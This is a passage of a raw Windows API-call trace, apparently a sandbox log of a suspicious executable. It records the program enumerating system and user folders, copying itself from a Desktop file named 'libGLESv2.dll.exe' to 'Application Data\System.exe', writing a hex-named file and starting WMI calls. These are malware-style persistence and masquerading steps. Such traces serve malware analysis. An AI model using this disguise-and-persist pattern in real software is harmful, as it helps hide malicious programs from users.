lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3c6700c, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x3c6700c, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0126.406] FindNextFileW (in: hFindFile=0x1b48ffd0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xb62d6190, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xb62d6190, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0126.406] FindNextFileW (in: hFindFile=0x1b48ffd0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0126.407] FindNextFileW (in: hFindFile=0x1b48ffd0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbaa998b0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbadba904, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbadba904, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0126.407] FindNextFileW (in: hFindFile=0x1b48ffd0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x858b6c65, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x858b6c65, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x25588045, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x10000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="swapfile.sys", cAlternateFileName="")) returned 1 [0126.408] FindNextFileW (in: hFindFile=0x1b48ffd0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x85289733, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x2dbfc137, ftLastAccessTime.dwHighDateTime=0x1d70505, ftLastWriteTime.dwLowDateTime=0x2dbfc137, ftLastWriteTime.dwHighDateTime=0x1d70505, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0126.408] FindNextFileW (in: hFindFile=0x1b48ffd0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3ce179de, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3ce179de, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0126.408] FindNextFileW (in: hFindFile=0x1b48ffd0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x40b942d, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x40b942d, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0126.408] FindNextFileW (in: hFindFile=0x1b48ffd0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0126.408] FindClose (in: hFindFile=0x1b48ffd0 | out: hFindFile=0x1b48ffd0) returned 1 [0126.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d9c0) returned 1 [0126.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d980) returned 1 [0126.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30da90) returned 1 [0126.409] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x1b30d570, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0126.409] FindFirstFileW (in: lpFileName="C:\\Users\\*" (normalized: "c:\\users\\*"), lpFindFileData=0x1b30d7a0 | out: lpFindFileData=0x1b30d7a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3ce179de, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3ce179de, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b48f970 [0126.409] FindNextFileW (in: hFindFile=0x1b48f970, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3ce179de, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3ce179de, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.409] FindNextFileW (in: hFindFile=0x1b48f970, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x4f6643a1, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x4f6643a1, ftLastAccessTime.dwHighDateTime=0x1d112ea, ftLastWriteTime.dwLowDateTime=0x4f6643a1, ftLastWriteTime.dwHighDateTime=0x1d112ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0126.410] FindNextFileW (in: hFindFile=0x1b48f970, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0126.410] FindNextFileW (in: hFindFile=0x1b48f970, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x4f6643a1, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x4f6643a1, ftLastAccessTime.dwHighDateTime=0x1d112ea, ftLastWriteTime.dwLowDateTime=0x4f6643a1, ftLastWriteTime.dwHighDateTime=0x1d112ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0126.410] FindNextFileW (in: hFindFile=0x1b48f970, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3757c8c, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973af366, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973af366, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0126.410] FindNextFileW (in: hFindFile=0x1b48f970, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0126.410] FindNextFileW (in: hFindFile=0x1b48f970, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ce179de, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x84ac775d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84ac775d, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RDhJ0CNFevzX", cAlternateFileName="RDHJ0C~1")) returned 1 [0126.411] FindNextFileW (in: hFindFile=0x1b48f970, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0126.411] FindClose (in: hFindFile=0x1b48f970 | out: hFindFile=0x1b48f970) returned 1 [0126.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d9c0) returned 1 [0126.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d980) returned 1 [0126.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30da90) returned 1 [0126.411] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users", nBufferLength=0x105, lpBuffer=0x1b30d570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users", lpFilePart=0x0) returned 0x12 [0126.411] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*" (normalized: "c:\\users\\all users\\*"), lpFindFileData=0x1b30d7a0 | out: lpFindFileData=0x1b30d7a0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b48f490 [0126.412] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.412] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0126.413] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcb9c8f, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comms", cAlternateFileName="")) returned 1 [0126.413] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0126.413] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0126.413] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x1b54cf26, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b54cf26, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0126.413] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x506a2e14, ftCreationTime.dwHighDateTime=0x1d8a64c, ftLastAccessTime.dwLowDateTime=0xf12608ef, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xf12608ef, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~3")) returned 1 [0126.414] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87b95643, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x87b95643, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x87b95643, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1 [0126.414] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4af3a5b, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0126.414] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387f5bb4, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6be8870b, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6be8870b, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0126.414] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xea66a7d6, ftLastAccessTime.dwHighDateTime=0x1d99cf2, ftLastWriteTime.dwLowDateTime=0xbcdad51e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft", cAlternateFileName="REGID1~1.MIC")) returned 1 [0126.414] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftwareDistribution", cAlternateFileName="SOFTWA~1")) returned 1 [0126.415] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0126.415] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0126.415] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf99491c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf99491c3, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="USOPrivate", cAlternateFileName="USOPRI~1")) returned 1 [0126.415] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf97592c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf97592c3, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="USOShared", cAlternateFileName="USOSHA~1")) returned 1 [0126.415] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0126.415] FindClose (in: hFindFile=0x1b48f490 | out: hFindFile=0x1b48f490) returned 1 [0126.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d9c0) returned 1 [0126.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d980) returned 1 [0126.416] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe", nBufferLength=0x105, lpBuffer=0x1b30d5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe", lpFilePart=0x0) returned 0x2f [0126.416] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Application Data\\System.exe", nBufferLength=0x105, lpBuffer=0x1b30d5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Application Data\\System.exe", lpFilePart=0x0) returned 0x2e [0126.416] CopyFileW (lpExistingFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\libglesv2.dll.exe"), lpNewFileName="C:\\Users\\All Users\\Application Data\\System.exe" (normalized: "c:\\users\\all users\\application data\\system.exe"), bFailIfExists=0) returned 1 [0126.737] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Application Data\\27d1bcfc3c54e0", nBufferLength=0x105, lpBuffer=0x1b30d3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Application Data\\27d1bcfc3c54e0", lpFilePart=0x0) returned 0x32 [0126.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30d8d0) returned 1 [0126.737] CreateFileW (lpFileName="C:\\Users\\All Users\\Application Data\\27d1bcfc3c54e0" (normalized: "c:\\users\\all users\\application data\\27d1bcfc3c54e0"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x4f8 [0126.737] GetFileType (hFile=0x4f8) returned 0x1 [0126.737] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d840) returned 1 [0126.738] GetFileType (hFile=0x4f8) returned 0x1 [0126.738] WriteFile (in: hFile=0x4f8, lpBuffer=0x288ef28*, nNumberOfBytesToWrite=0x36d, lpNumberOfBytesWritten=0x1b30d908, lpOverlapped=0x0 | out: lpBuffer=0x288ef28*, lpNumberOfBytesWritten=0x1b30d908*=0x36d, lpOverlapped=0x0) returned 1 [0126.739] CloseHandle (hObject=0x4f8) returned 1 [0126.740] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0126.740] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0126.740] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0126.740] IUnknown:Release (This=0x6124e8) returned 0x1 [0126.741] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b482ed0) returned 0x0 [0126.741] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b482ed0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0126.741] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b482ed0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4b07e0) returned 0x0 [0126.742] WbemDefPath:IUnknown:Release (This=0x1b482ed0) returned 0x0 [0126.742] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4b07e0) returned 0x0 [0126.742] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0126.742] 